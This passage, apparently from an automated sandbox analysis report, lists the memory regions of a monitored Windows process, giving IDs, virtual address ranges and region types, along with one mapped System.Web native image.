= 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 1550 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 1551 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 1552 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1553 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1554 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 1555 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 1556 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 1557 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 1558 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 1559 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 1560 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 1561 start_va = 0x1b240000 end_va = 0x1b24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id = 1562 start_va = 0x1b250000 end_va = 0x1b25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b250000" filename = "" Region: id = 1563 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 1564 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1565 start_va = 0x1b240000 end_va = 0x1b250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b240000" filename = "" Region: id = 1566 start_va = 0x7ffafcfc0000 end_va = 0x7ffafdf79fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.web.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\e0f1aa5ae849a43ee123d95e457efc03\\System.Web.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web\\e0f1aa5ae849a43ee123d95e457efc03\\system.web.ni.dll") Region: id = 1567 start_va = 0x1b260000 end_va = 0x1b26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b260000" filename = "" Region: id = 1568 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1569 start_va = 0x1b260000 end_va = 0x1b265fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b260000" filename = "" Region: id = 1570 start_va = 0x7ffaa2d00000 end_va = 0x7ffaa2d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2d00000" filename = "" Region: id = 1571 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1572 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1573 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1574 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1575 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1576 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1577 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1578 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1579 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1580 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1581 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1582 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1583 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1584 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1585 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1586 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1587 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1588 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1589 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1590 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1591 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1592 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1593 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1594 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1595 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1596 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1597 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1598 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1599 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1600 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1601 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1602 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1603 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1604 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1605 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1606 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1607 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1608 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1609 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1610 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1611 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1612 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1613 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1614 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1615 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1616 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1617 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1618 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1619 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1620 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1621 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1622 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1623 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1624 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1625 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1626 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1627 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1628 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1629 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1630 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1631 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1632 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1633 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1634 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1635 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1636 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1637 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1638 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1639 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1640 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1641 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1642 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1643 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1644 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1645 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1646 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1647 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1648 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1649 start_va = 0x1b270000 end_va = 0x1b27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b270000" filename = "" Region: id = 1650 start_va = 0x1b270000 end_va = 0x1b274fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b270000" filename = "" Region: id = 1651 start_va = 0x7ffaa2d10000 end_va = 0x7ffaa2d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2d10000" filename = "" Region: id = 1652 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1653 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1654 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1655 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1656 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1657 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1658 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1659 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1660 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1661 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1662 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1663 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1664 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1665 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1666 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1667 start_va = 0x1b4e0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 1668 start_va = 0x1b4f0000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 1669 start_va = 0x1b500000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b500000" filename = "" Region: id = 1670 start_va = 0x1b510000 end_va = 0x1b51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b510000" filename = "" Region: id = 1671 start_va = 0x1b520000 end_va = 0x1b52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 1672 start_va = 0x7ffaa2d20000 end_va = 0x7ffaa2d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2d20000" filename = "" Region: id = 1673 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1674 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1675 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1676 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1677 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1678 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1679 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1680 start_va = 0x1b280000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b280000" filename = "" Region: id = 1681 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1682 start_va = 0x1b280000 end_va = 0x1b286fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b280000" filename = "" Region: id = 1683 start_va = 0x7ffaa2d60000 end_va = 0x7ffaa2d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2d60000" filename = "" Region: id = 1684 start_va = 0x1b690000 end_va = 0x1b78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b690000" filename = "" Region: id = 1685 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1686 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1687 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1688 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1689 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1690 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1691 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1692 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1693 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1694 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1695 start_va = 0x1b4e0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 1696 start_va = 0x1b4f0000 end_va = 0x1b4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4f0000" filename = "" Region: id = 1697 start_va = 0x1b500000 end_va = 0x1b50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b500000" filename = "" Region: id = 1698 start_va = 0x1b510000 end_va = 0x1b51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b510000" filename = "" Region: id = 1699 start_va = 0x1b520000 end_va = 0x1b52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b520000" filename = "" Region: id = 1700 start_va = 0x1b530000 end_va = 0x1b53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b530000" filename = "" Region: id = 1701 start_va = 0x1b540000 end_va = 0x1b54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b540000" filename = "" Region: id = 1702 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1703 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1704 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1705 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1706 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1707 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1708 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1709 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1710 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1711 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1712 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1713 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1714 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1715 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1716 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1717 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1718 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1719 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1720 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1721 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1722 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1723 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1724 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1725 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1726 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1727 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1728 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1729 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1730 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1731 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1732 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1733 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1734 start_va = 0x1b4e0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 1735 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1736 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1737 start_va = 0x1b490000 end_va = 0x1b49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b490000" filename = "" Region: id = 1738 start_va = 0x1b4a0000 end_va = 0x1b4affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 1739 start_va = 0x1b4b0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4b0000" filename = "" Region: id = 1740 start_va = 0x1b4c0000 end_va = 0x1b4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4c0000" filename = "" Region: id = 1741 start_va = 0x1b4d0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 1742 start_va = 0x1b4e0000 end_va = 0x1b4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4e0000" filename = "" Region: id = 1743 start_va = 0x1b490000 end_va = 